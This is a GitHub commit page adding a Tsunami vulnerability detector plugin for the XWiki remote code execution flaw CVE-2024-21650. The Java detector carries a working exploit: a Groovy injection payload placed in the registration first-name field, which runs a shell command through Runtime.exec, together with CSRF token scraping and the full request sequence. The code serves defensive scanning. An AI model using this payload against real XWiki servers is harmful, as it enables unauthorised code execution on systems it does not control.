Skip to content

Commit

Permalink
Merge pull request #387 from YuriyPobezhymov:cve202421650
Browse files Browse the repository at this point in the history
PiperOrigin-RevId: 688909808
Change-Id: Ie6e93bb0e090d1b54201e01c4f4690dff6aff528
  • Loading branch information
copybara-github committed Oct 23, 2024
2 parents 6da80e1 + 6e3fd6b commit 92374c0
Show file tree
Hide file tree
Showing 10 changed files with 671 additions and 0 deletions.
18 changes: 18 additions & 0 deletions community/detectors/xwiki_cve_2024_21650/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
# XWiki RCE CVE-2024-21650 Detector

XWiki Platform is a generic wiki platform offering runtime services for
applications built on top of it. XWiki is vulnerable to a remote code execution
(RCE) attack through its user registration feature. This issue allows an
attacker to execute arbitrary code by crafting malicious payloads in the "first
name" or "last name" fields during user registration. This impacts all
installations that have user registration enabled for guests. This vulnerability
has been patched in XWiki 14.10.17, 15.5.3 and 15.8 RC1. See
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21650 for a details.

## Build jar file for this plugin

Using `gradlew`:

```shell
./gradlew jar
```
67 changes: 67 additions & 0 deletions community/detectors/xwiki_cve_2024_21650/build.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
plugins {
id 'java-library'
}

description = 'Tsunami XWiki RCE (CVE-2024-21650) VulnDetector plugin.'
group = 'com.google.tsunami'
version = '0.0.1-SNAPSHOT'

repositories {
maven { // The google mirror is less flaky than mavenCentral()
url 'https://maven-central.storage-download.googleapis.com/repos/central/data/'
}
mavenCentral()
mavenLocal()
}

java {
sourceCompatibility = JavaVersion.VERSION_11
targetCompatibility = JavaVersion.VERSION_11

jar.manifest {
attributes('Implementation-Title': name,
'Implementation-Version': version,
'Built-By': System.getProperty('user.name'),
'Built-JDK': System.getProperty('java.version'),
'Source-Compatibility': sourceCompatibility,
'Target-Compatibility': targetCompatibility)
}

javadoc.options {
encoding = 'UTF-8'
use = true
links 'https://docs.oracle.com/en/java/javase/11/'
source = '11'
}

// Log stacktrace to console when test fails.
test {
testLogging {
exceptionFormat = 'full'
showExceptions true
showCauses true
showStackTraces true
}
maxHeapSize = '1500m'
}
}

ext {
tsunamiVersion = 'latest.release'
junitVersion = '4.13.1'
guiceVersion = '4.2.3'
okhttpVersion = '3.12.0'
truthVersion = '1.1.3'
}

dependencies {
implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}"
implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}"
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}"

testImplementation "junit:junit:${junitVersion}"
testImplementation "com.google.inject:guice:${guiceVersion}"
testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}"
testImplementation "com.google.truth:truth:${truthVersion}"
testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}"
}
3 changes: 3 additions & 0 deletions community/detectors/xwiki_cve_2024_21650/build.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
GENERATED_PLUGINS_PATH=~/tsunami/plugins/
./gradlew build
cp ./build/libs/*.jar "${GENERATED_PLUGINS_PATH}"
1 change: 1 addition & 0 deletions community/detectors/xwiki_cve_2024_21650/settings.gradle
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
rootProject.name = 'xwiki_cve_2024_21650'
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
/*
* Copyright 2024 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.tsunami.plugins.detectors.rce.cve202421650;

import static java.lang.annotation.ElementType.FIELD;
import static java.lang.annotation.ElementType.METHOD;
import static java.lang.annotation.ElementType.PARAMETER;

import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import javax.inject.Qualifier;

/** Annotation for {@link Cve202421650Detector}. */
final class Annotations {
@Qualifier
@Retention(RetentionPolicy.RUNTIME)
@Target({PARAMETER, METHOD, FIELD})
@interface OobSleepDuration {}

private Annotations() {}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,261 @@
package com.google.tsunami.plugins.detectors.rce.cve202421650;

import com.google.common.base.Preconditions;
import com.google.common.collect.ImmutableList;
import com.google.common.flogger.GoogleLogger;
import com.google.common.util.concurrent.Uninterruptibles;
import com.google.protobuf.ByteString;
import com.google.protobuf.util.Timestamps;
import com.google.tsunami.common.data.NetworkServiceUtils;
import com.google.tsunami.common.net.http.HttpClient;
import com.google.tsunami.common.net.http.HttpHeaders;
import com.google.tsunami.common.net.http.HttpRequest;
import com.google.tsunami.common.net.http.HttpResponse;
import com.google.tsunami.common.net.http.HttpStatus;
import com.google.tsunami.common.time.UtcClock;
import com.google.tsunami.plugin.PluginType;
import com.google.tsunami.plugin.VulnDetector;
import com.google.tsunami.plugin.annotations.PluginInfo;
import com.google.tsunami.plugin.payload.Payload;
import com.google.tsunami.plugin.payload.PayloadGenerator;
import com.google.tsunami.plugins.detectors.rce.cve202421650.Annotations.OobSleepDuration;
import com.google.tsunami.proto.DetectionReport;
import com.google.tsunami.proto.DetectionReportList;
import com.google.tsunami.proto.DetectionStatus;
import com.google.tsunami.proto.NetworkService;
import com.google.tsunami.proto.PayloadGeneratorConfig;
import com.google.tsunami.proto.Severity;
import com.google.tsunami.proto.TargetInfo;
import com.google.tsunami.proto.Vulnerability;
import com.google.tsunami.proto.VulnerabilityId;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.time.Clock;
import java.time.Duration;
import java.time.Instant;
import java.util.Base64;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.inject.Inject;

/** A {@link VulnDetector} that detects XWiki RCE CVE-2024-21650. */
@PluginInfo(
type = PluginType.VULN_DETECTION,
name = "XWiki RCE CVE-2024-21650 Detector",
version = "0.1",
description = "This detector checks for XWiki RCE via user registration (CVE-2024-21650).",
author = "yuradoc ([email protected])",
bootstrapModule = Cve202421650DetectorBootstrapModule.class)
public final class Cve202421650Detector implements VulnDetector {
private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();

private static final String REQUEST_PATH = "bin/register/XWiki/XWikiRegister";

private static final String PAYLOAD_PLACEHOLDER =
"]]{{/html}}{{async}}{{groovy}}{{CMD}}{{/groovy}}{{/async}}";

private static final Pattern CSRF_TOKEN_PATTERN =
Pattern.compile("form_token\" value=\"(.*?)\" />");

private static final String REQUEST_POST_DATA =
"parent=xwiki:Main.UserDirectory&register_first_name="
+ "{{PAYLOAD_PLACEHOLDER}}"
+ "&register_last_name=&xwikiname="
+ "{{USERNAME}}"
+ "&register_password="
+ "{{PASSWORD}}"
+ "&register2_password="
+ "{{PASSWORD}}"
+ "&register_email="
+ "&form_token={{TOKEN}}";

private static final String REQUEST_CLEANUP_FIRST_NAME_REPLACEMENT = "Delete Me!";

private final Clock utcClock;
private final HttpClient httpClient;
private final PayloadGenerator payloadGenerator;
private final int oobSleepDuration;

Severity vulnSeverity = Severity.HIGH;

@Inject
Cve202421650Detector(
@UtcClock Clock utcClock,
HttpClient httpClient,
PayloadGenerator payloadGenerator,
@OobSleepDuration int oobSleepDuration) {
this.utcClock = Preconditions.checkNotNull(utcClock);
this.httpClient = Preconditions.checkNotNull(httpClient);
this.payloadGenerator = Preconditions.checkNotNull(payloadGenerator);
this.oobSleepDuration = oobSleepDuration;
}

@Override
public DetectionReportList detect(
TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) {
logger.atInfo().log("Cve202421650Detector starts detecting.");

return DetectionReportList.newBuilder()
.addAllDetectionReports(
matchedServices.stream()
.filter(NetworkServiceUtils::isWebService)
.filter(this::isServiceVulnerable)
.map(networkService -> buildDetectionReport(targetInfo, networkService))
.collect(ImmutableList.toImmutableList()))
.build();
}

private String buildRandomString() {
return Long.toHexString(this.utcClock.instant().toEpochMilli());
}

private boolean isServiceVulnerable(NetworkService networkService) {
String targetUri =
NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + REQUEST_PATH;

Payload payload = null;
String cmd = "";
if (payloadGenerator.isCallbackServerEnabled()) {
// Prepare Linux shell RCE for using in payload with callback server.
PayloadGeneratorConfig config =
PayloadGeneratorConfig.newBuilder()
.setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE)
.setInterpretationEnvironment(
PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL)
.setExecutionEnvironment(
PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT)
.build();

payload = payloadGenerator.generate(config);
cmd = payload.getPayload();
}

String requestUserName = "test" + buildRandomString();

String requestUserPassword = buildRandomString() + buildRandomString();

String responseString = "XWiki." + requestUserName + "]] (" + requestUserName + ")";

String requestCleanupPath =
"rest/wikis/xwiki/spaces/XWiki/pages/" + requestUserName + "/objects/XWiki.XWikiUsers/0";

String targetCleanupUri =
NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + requestCleanupPath;

String token = "";

// plain GET request to check user's registration page availability and retrieve csrf form's
// token.
try {
HttpResponse response =
httpClient.send(HttpRequest.get(targetUri).withEmptyHeaders().build(), networkService);
if (response.status().code() != HttpStatus.OK.code()) {
return false;
}

// Parse the csrf value.
Matcher csrfTokenMatcher = CSRF_TOKEN_PATTERN.matcher(response.bodyString().orElse(""));
if (csrfTokenMatcher.find()) {
token = csrfTokenMatcher.group(1);
}

if (token.isEmpty()) {
return false;
}
} catch (IOException e) {
logger.atWarning().withCause(e).log("Unable to request '%s'.", targetUri);
}

// Inject Groovy payload in the first name, pass csrf token, random strings for required fields
// to form's POST data.
String requestBody =
REQUEST_POST_DATA
.replace("{{USERNAME}}", requestUserName)
.replace("{{PASSWORD}}", requestUserPassword)
.replace("{{TOKEN}}", token)
.replace("{{PAYLOAD_PLACEHOLDER}}", PAYLOAD_PLACEHOLDER)
.replace("{{CMD}}", !cmd.isEmpty() ? "Runtime.getRuntime().exec(\"" + cmd + "\")" : "");

try {
// Main request that performs vulnerability check.
HttpResponse response =
httpClient.send(
HttpRequest.post(targetUri)
.setHeaders(
HttpHeaders.builder()
.addHeader("Content-Type", "application/x-www-form-urlencoded")
.build())
.setRequestBody(ByteString.copyFromUtf8(requestBody))
.build(),
networkService);

Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration));

// Update the user's profile by changing the first name to notify the XWiki administrator for
// account removal, as default settings prevent users from deleting their own profiles.
httpClient.send(
HttpRequest.put(targetCleanupUri)
.setHeaders(
HttpHeaders.builder()
.addHeader("Content-Type", "application/x-www-form-urlencoded")
.addHeader("Accept", "application/xml")
.addHeader(
"Authorization",
"Basic "
+ Base64.getEncoder()
.encodeToString(
(requestUserName + ":" + requestUserPassword)
.getBytes(StandardCharsets.UTF_8)))
.build())
.setRequestBody(
ByteString.copyFromUtf8(
"className=XWiki.XWikiUsers&property#first_name="
+ REQUEST_CLEANUP_FIRST_NAME_REPLACEMENT))
.build(),
networkService);

// Try to use callback server for RCE confirmation and raise severity on success.
// Otherwise, detect vulnerability through response body matching.
if (payload != null && payload.checkIfExecuted()) {
vulnSeverity = Severity.CRITICAL;
logger.atInfo().log("The remote code execution was confirmed via an out-of-band callback.");
return true;
} else if (response.bodyString().isPresent()
&& response.bodyString().get().contains(responseString)) {
logger.atInfo().log(
"Since the Tsunami Callback Server was not available, the vulnerability was confirmed"
+ " through response matching.");
return true;
}
} catch (IOException e) {
logger.atWarning().withCause(e).log("Unable to request '%s'.", targetUri);
}
return false;
}

public DetectionReport buildDetectionReport(
TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
return DetectionReport.newBuilder()
.setTargetInfo(targetInfo)
.setNetworkService(vulnerableNetworkService)
.setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
.setVulnerability(
Vulnerability.newBuilder()
.setMainId(
VulnerabilityId.newBuilder()
.setPublisher("TSUNAMI_COMMUNITY")
.setValue("CVE-2024-21650"))
.setSeverity(vulnSeverity)
.setTitle("XWiki RCE (CVE-2024-21650)")
.setDescription(
"XWiki is vulnerable to a remote code execution (RCE) attack through its user "
+ "registration feature. This issue allows an attacker to execute "
+ "arbitrary code by crafting malicious payloads in the \"first name\" "
+ "or \"last name\" fields during user registration. This impacts all "
+ "installations that have user registration enabled for guests. This "
+ "vulnerability has been patched in XWiki 14.10.17, 15.5.3 "
+ "and 15.8 RC1."))
.build();
}
}
Loading

0 comments on commit 92374c0

Please sign in to comment.